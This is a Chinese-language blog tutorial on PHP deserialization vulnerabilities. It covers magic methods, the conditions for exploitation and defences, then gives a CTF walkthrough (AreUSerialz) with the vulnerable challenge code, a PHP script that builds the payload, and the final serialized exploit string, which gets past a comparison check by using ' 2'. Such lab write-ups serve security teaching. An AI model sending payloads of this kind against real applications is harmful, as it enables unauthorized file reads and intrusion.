欢迎光临
我们一直在努力

PHP反序列化漏洞详解(含靶场实战)

简介

PHP反序列化漏洞的本质不是函数本身有问题,而是反序列化的数据源不可信 + PHP 类中存在 “魔术方法” 被恶意触发,最终导致攻击者可以通过构造恶意的序列化字符串,控制反序列化后的对象行为,执行任意代码、读取文件、删除数据等恶意操作。

序列化就是将⼀个对象转换成⼀个字符串,反序列化就是将字符串还原成⼀个对象。

PHP中的魔术方法:

最常用的类型序列化:

其它序列化格式:

  • json字符串 json_encode
  • xml字符串 wddx_serialize_value
  • 二进制格式
  • 字节数组

注意点:

  • 如果传递的字符串不可以序列化,则返回 FALSE
  • 如果对象没有预定义,反序列化得到的对象是 __PHP_Incomplete_Class

序列化的作用:

  • 传输对象
  • 用作缓存(Cookie、Session)

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

出现反序列化漏洞的三个必备条件:

  • unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
  • 脚本中定义了Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
  • 操作的内容需要有对象中的成员变量的值,比如filename

常见利用函数:

利用方式:序列化一个对象,修改成员变量的值,达到操作其他文件或者执行命令的目的。

防御方法:

  • 针对unserialize和Magic函数审计
  • 对用户输入的内容过滤
  • 白名单,限制反序列化的类;不能动态传参

实战(2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz)

下载网站给的两个php文件

<?php
class NewFlag {
public static function getFlag($fileName) {
$res = "flag error";
if($fileName ==="NewFlag.php") {
$res = "flag:{this is flag}";
}
return $res;
}
}
?>

<?php

include("NewFlag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

// 构造方法 FileHandler类被new 会调用此函数
function __construct() { // 老师没有看到 类似于 new FileHandler
$op = "1";
$filename = "tmpfile";
$content = "Hello World!";
$this->process();
}

// 这个是重点2 【1就写 2就读(目的:让代码读取我的需求)】
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

// 这个是重点1
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

// 唯一触发 ctf2.php 的 地方
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); // __wakeup
}
} // __destruct
?>

网站的入口很显然就在最下面,参数是str,由于unserialize()函数会调用__wakeup()函数,我们再去寻找这个函数,发现没有。根据经验,我们知道程序结束时会自动调用__destruct()函数,发现这个函数会调用process()函数,而process()函数又调用了write()函数和read()函数,read()函数就能够读取到flag。

在__destruct()方法中,为了执行process()方法,我们选择用空格2,即" 2"绕过。再把私有属性改成公有属性,最终,简化后的php代码如下:

<?php
class FileHandler {
public $op=" 2";
public $filename="NewFlag.php";
public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>

 利用它生成一段序列化的字符串:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";},放在str参数后即可。

赞(0)
未经允许不得转载:171主机测评 » PHP反序列化漏洞详解(含靶场实战)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址